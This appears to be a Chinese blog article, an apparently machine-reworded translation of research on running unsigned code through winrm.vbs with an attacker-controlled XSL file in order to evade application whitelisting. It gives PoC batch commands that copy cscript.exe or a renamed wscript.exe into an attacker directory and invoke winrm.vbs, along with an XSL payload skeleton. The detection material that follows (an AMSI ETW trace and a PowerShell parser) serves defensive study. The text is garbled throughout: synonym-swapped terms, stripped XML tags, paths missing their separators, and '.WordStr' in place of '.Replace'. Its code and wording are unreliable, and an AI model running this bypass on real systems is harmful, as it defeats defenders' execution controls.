使用Winrm.vbs绕过应用白名单执行任意未签名代码的分析

当你向winrm.vbs供给“-format:pretty”或“-format:text”时,它会从cscript.exe所在的目录中响应地导出WsmPty.xsl或WsmTxt.xsl

严明声明:本文仅限于技巧探究,严禁用于其他用途

绕过技巧

winrm.vbs(System31中的一个Windows署名脚本)能够履行进击者节制的XSL,它不会受到相关脚本主机的限定,并实现随意率性无符号代码履行这也就意味着,假如进击者能够将cscript.exe拷贝到一个他能节制的且存储了恶意XSL的位置,他们就能够履行随意率性未署名的代码实际上,这个问题跟Casey Smith的wmic.exe技巧完全相同

PoC

进击操作机制如下:

1. 将WsmPty.xsl或WsmTxt.xsl寄放到一个由进击者节制的地方;

2. 将cscript.exe拷贝到同一个位置;

3. 经由过程“-format”指定”pretty”或“text”来履行winrm.vbs,详细取决于应用的是WsmPty.xsl或WsmTxt.xsl

下面给出的是一个恶意XLS样本,我们必要将它放到进击者节制的目录位置,这里选择的是C:BypassDirWsmPty.xsl:

stylesheet

xmlns=”http://www.w3.org/1999/XSL/Transform”xmlns:ms=”urn:schemas-microsoft-com:xslt”

xmlns:user=”placeholder”

version=”1.0″>

outputmethod=”text”/>

ms:scriptimplements-prefix=”user” language=”JScript”>

ms:script>

stylesheet>

着实我们还可以在WsmPty.xsl中嵌入恶意的DotNetToJScriptPayload,并履行随意率性未署名代码接下来,可以应用下列batch文件来履行Payload:

mkdir%SystemDrive%BypassDir

copy%windir%System32cscript.exe %SystemDrive%BypassDir

%SystemDrive%BypassDircscript//nologo %windir%System32winrm.vbs get wmicimv2/Win32_Process?Handle=4-format:pretty

检测和绕过策略

在实现这项技巧的历程中,必须用到的便是进击者可控的WsmPty.xsl或WsmTxt.xsl

winrm.vbs会对WsmPty.xsl或WsmTxt.xsl进行硬编码,并显式地将它们绑定到“pretty”和“text”参数上就此看来,我们彷佛没有法子来节制winrm.vbs去履行当前目录中的不合xls文件从检测的角度来看,WsmPty.xsl或WsmTxt.xsl文件的哈希会跟System 32中蓝本的文件哈希不合,是以它们会被算作可疑文件,由于合法xls文件的哈希值很少会发生变更

除此之外,合法WsmPty.xsl或WsmTxt.xsl文件应该是目录署名的,哈希值发生变更后将不会再对其进行署名也便是说,磁盘中任何没有署名的WsmPty.xsl或WsmTxt.xsl文件都应该是可疑文件必要留意的是,目录署名验证必要运行“cryptsvc”办事

基于敕令行来检测winrm.vbs是否存在的这种规划相对较弱,由于进击者可以将winrm.vbs重命名为他们所选择的文件

为了应用xls文件,这里必须在“format”参数中指定“pretty”或“text”下面给出的是支持的“format”参数(大年夜小写不敏感):

-format:pretty

-format:”pretty”

/format:pretty

/format:”pretty”

-format:text

-format:”text”

/format:text

/format:”text”

虽然构建基于“format”是否存在的检测规划能够捕捉到所有的变更,但这种检测规划是存在问题的“format”参数是否合法应用将取决于组织所采纳的规划不过除了System32中的cscript.exe和winrm.vbs之外,不太可能从其他任何地方合法调用了

下面给出的是一个更新版的.bat PoC,它能够绕过cscript.exe的检测:

mkdir%SystemDrive%BypassDircscript.exe

copy%windir%System32wscript.exe %SystemDrive%BypassDircscript.exewinword.exe

%SystemDrive%BypassDircscript.exewinword.exe//nologo %windir%System32winrm.vbs get wmicimv2/Win32_Process?Handle=4-format:pretty

WSH/XSLScript脚本

毫无疑问,进击者还会继承应用XSL和WSH来进行进击抱负环境下,进击者是可以知道Payload到底是从硬盘中履行的照样完全在内存中履行的虽然Powershell具有这种应用scriptblock日志的能力,但针对WSH却没有响应的对象跟着反恶意软件扫描接口(AMSI)的引入,我们将能够捕捉到WSH内容

这里我们可以应用logman.exe来对ETL事故进行跟踪,比如说下列敕令将能够节制ETW的跟踪操作,并将跟AMSI相关的事故信息保存早AMSITrace.etl之中:

logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl-ets

trace, this is when you’d run your malicious code to capture itscontext.>

logmanstop AMSITrace -ets

接下来,我们还可以经由过程输出数据清单来懂得更多事故信息:

instrumentation Manifestxmlns=”http://schemas.microsoft.com/win/2004/08/events”>

instrumentation xmlns:xs=”http://www.w3.org/2001/XMLSchema” xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”xmlns:win=”http://manifests.microsoft.com/win/2004/08/windows/events”>

events>

provider name=”Microsoft-Antimalware-Scan-Interface”guid=”{2a576b87-09a7-520e-c21a-4942f0271d67}”resourceFileName=”Microsoft-Antimalware-Scan-Interface”messageFileName=”Microsoft-Antimalware-Scan-Interface”symbol=”MicrosoftAntimalwareScanInterface” source=”Xml”>

keywords>

keyword name=”Event1″message=”$(string.keyword_Event1)” mask=”0x1″/>

[1] [2] [3]下一页

keywords>

tasks>

task name=”task_0″message=”$(string.task_task_0)” value=”0″/>

tasks>

events>

event value=”1101″symbol=”task_0″ version=”0″ task=”task_0″level=”win:Informational” keywords=”Event1″template=”task_0Args”/>

events>

templates>

templatetid=”task_0Args”>

data name=”session”inType=”win:Pointer”/>

data name=”scanStatus”inType=”win:UInt8″/>

data name=”scanResult”inType=”win:UInt32″/>

data name=”appname”inType=”win:UnicodeString”/>

data name=”contentname”inType=”win:UnicodeString”/>

data name=”contentsize”inType=”win:UInt32″/>

data name=”originalsize”inType=”win:UInt32″/>

data name=”content”inType=”win:Binary” length=”contentsize”/>

data name=”hash” inType=”win:Binary”/>

data name=”contentFiltered”inType=”win:Boolean”/>

template>

templates>

provider>

events>

instrumentation>

localization>

resources culture=”en-US”>

stringTable>

string id=”keyword_Event1″value=”Event1″/>

string id=”task_task_0″value=”task_0″/>

stringTable>

resources>

localization>

instrumentation Manifest>

捕捉到.etl跟踪信息之后,我们可以选择自己爱好的对象来对其进行阐发Powershell中的Gt-WinEvent便是一个很好的内置.etl解析器为此,我自己编写了一个简单的脚原先阐发AMSI事故,这个脚本还可以捕捉到PowerShell中的内容:

#Script author: Matt Graeber (@mattifestation)

#logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -oAMSITrace.etl -ets

# Doyour malicious things here that would be logged by AMSI

#logman stop AMSITrace -ets

$OSArchProperty= Get-CimInstance -ClassName Win32_OperatingSystem -Property OSArchitecture

$OSArch= $OSArchProperty.OSArchitecture

$OSPointerSize= 32

if($OSArch -eq ’64-bit’) { $OSPointerSize = 64 }

$AMSIScanEvents= Get-WinEvent -Path .AMSITrace.etl -Oldest -FilterXPath’*[System[EventID=1101]]’ | ForEach-Object {

if(-not $_.Properties) {

# The AMSI provider is not supplyingthe contentname property when WSH content is logged resulting

# in Get-WinEvent or Event Viewer beingunable to parse the data based on the schema.

# If this bug were not present,retrieving WSH content would be trivial.

$PayloadString = ([Xml]$_.ToXml()).Event.ProcessingErrorData.EventPayload

[Byte[]] $PayloadBytes =($PayloadString -split ‘([0-9A-F]{2})’ | Where-Object {$_} | ForEach-Object{[Byte] “0x$_”})

$MemoryStream = New-Object -TypeNameIO.MemoryStream -ArgumentList @(,$PayloadBytes)

$BinaryReader = New-Object -TypeNameIO.BinaryReader -ArgumentList $MemoryStream, ([Text.Encoding]::Unicode)

switch ($OSPointerSize) {

32 { $Session =$BinaryReader.ReadUInt32() }

64 { $Session =$BinaryReader.ReadUInt64() }

}

$ScanStatus = $BinaryReader.ReadByte()

$ScanResult = $BinaryReader.ReadInt32()

$StringBuilder = New-Object -TypeNameText.StringBuilder

do { $CharVal =$BinaryReader.ReadInt16(); $null = $StringBuilder.Append([Char] $CharVal) }while ($CharVal -ne 0)

$AppName = $StringBuilder.ToString()

上一页[1] [2] [3]下一页

$null = $StringBuilder.Clear()

$ContentSize =$BinaryReader.ReadInt32()

$OriginalSize =$BinaryReader.ReadInt32()

$ContentRaw =$BinaryReader.ReadBytes($ContentSize)

$Content =[Text.Encoding]::Unicode.GetString($ContentRaw)

$Hash =[BitConverter]::ToString($BinaryReader.ReadBytes(0x20)).WordStr(‘-‘, ”)

[Bool] $ContentFiltered =$BinaryReader.ReadInt32()

$BinaryReader.Close()

[PSCustomObject] @{

Session = $Session

ScanStatus = $ScanStatus

ScanResult = $ScanResult

AppName = $AppName

ContentName = $null

Content = $Content

Hash = $Hash

ContentFiltered = $ContentFiltered

}

} else {

$Session = $_.Properties[0].Value

$ScanStatus = $_.Properties[1].Value

$ScanResult = $_.Properties[2].Value

$AppName = $_.Properties[3].Value

$ContentName = $_.Properties[4].Value

$Content = [Text.Encoding]::Unicode.GetString($_.Properties[7].Value)

$Hash =[BitConverter]::ToString($_.Properties[8].Value).WordStr(‘-‘, ”)

$ContentFiltered =$_.Properties[9].Value

[PSCustomObject] @{

Session = $Session

ScanStatus = $ScanStatus

ScanResult = $ScanResult

AppName = $AppName

ContentName = $ContentName

Content = $Content

Hash = $Hash

ContentFiltered = $ContentFiltered

}

}

}

$AMSIScanEvents

捕捉到相关信息之后,我们将能够看到Payload的履行内容:

后话

我们清楚这项技巧一旦公开之后,很多进击者便会加快针对这种技巧变种的开拓,这也便是为什么在公布一种进击技巧之前,我们必要将其上报给相关厂商,并给他们留下充沛的光阴来办理相关问题,以确保更新能够及时交付给客户

上一页[1] [2] [3]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包